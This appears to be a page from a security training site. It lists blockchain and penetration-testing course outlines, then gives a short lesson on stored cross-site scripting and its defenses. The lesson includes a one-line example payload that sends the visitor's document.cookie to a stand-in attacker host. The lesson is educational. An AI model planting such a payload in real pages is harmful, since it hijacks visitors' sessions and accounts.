Courses
1. Introduction to Blockchain and Solana
2. Setting Up Your Development Environment
3. Solana Architecture and Key Concepts
4. Creating and Managing Wallets
5. Understanding Solana Programs
6. Building Your First Solana Program
7. Deploying Programs on the Solana Network
8. Interacting with Solana Programs
9. Using Solana CLI and SDKs
10. Developing Decentralized Applications (DApps)
11. Smart Contract Security Best Practices
12. Testing and Debugging Solana Programs
13. Optimizing Performance on Solana
14. Exploring Solana Ecosystem Tools
1. Introduction to Blockchain and Ethereum
2. Setting Up Your Development Environment
3. Ethereum Architecture and Key Concepts
4. Creating and Managing Wallets
5. Understanding Smart Contracts
6. Building Your First Smart Contract
7. Deploying Smart Contracts on the Ethereum Network
8. Interacting with Smart Contracts
9. Using Ethereum CLI and SDKs
10. Developing Decentralized Applications (DApps)
11. Smart Contract Security Best Practices
12. Testing and Debugging Smart Contracts
13. Optimizing Performance on Ethereum
14. Exploring Ethereum Ecosystem Tools
1. Introduction to Blockchain and Polygon
2. Setting Up Your Development Environment
3. Polygon Architecture and Key Concepts
4. Creating and Managing Wallets
5. Understanding Smart Contracts on Polygon
6. Building Your First Smart Contract on Polygon
7. Deploying Smart Contracts on the Polygon Network
8. Interacting with Smart Contracts on Polygon
9. Using Polygon CLI and SDKs
10. Developing Decentralized Applications (DApps) on Polygon
11. Smart Contract Security Best Practices for Polygon
12. Testing and Debugging Smart Contracts on Polygon
13. Optimizing Performance on Polygon
14. Exploring Polygon Ecosystem Tools
1. Introduction to Cybersecurity
2. Report Writing for Penetration Testers
3. Information Gathering
4. Vulnerability Scanning
5. Introduction to Web Applications
6. Common Web Application Attacks
7. SQL Injection Attacks
8. Client-Side Attacks
9. Locating Public Exploits
10. Fixing Exploits
11. Antivirus Evasion
12. Password Attacks
13. Windows Privilege Escalation
14. Linux Privilege Escalation
15. Advanced Tunneling
16. The Metasploit Framework
17. Active Directory: Introduction and Enumeration
18. Attacking Active Directory Authentication
19. Lateral Movement in Active Directory
Persistent Cross-Site Scripting
OSWE · Chapter 5
Persistent Cross-Site Scripting
Persistent (stored) XSS is the most dangerous XSS variant: the malicious payload is saved server-side (a comment, profile field, support ticket) and executes automatically for every user — including administrators — who later views that content.
Key concepts
- Unlike reflected XSS, no crafted link needs to be sent to the victim — simply viewing a normal page triggers the stored payload.
- A frequent high-value target is an admin panel that renders user-submitted content (support tickets, usernames) without encoding — a single stored payload can compromise every admin session.
- Rich-text/WYSIWYG fields are especially risky: they need HTML sanitization (e.g. DOMPurify), not just encoding, since some HTML must be allowed through.
- Defense in depth: output encoding at render time, a strict Content-Security-Policy, and HttpOnly cookies so even a successful XSS cannot directly read the session cookie.
Example
<!-- Stored in a "profile bio" field, rendered unescaped for every visitor -->
<script>fetch("https://attacker.example/steal?c="+document.cookie)</script>Try it yourself
On a lab app with a comment or profile field, submit a benign marker (e.g. `<b>test</b>`) and reload the page as a different user to confirm whether the stored value is encoded or executed.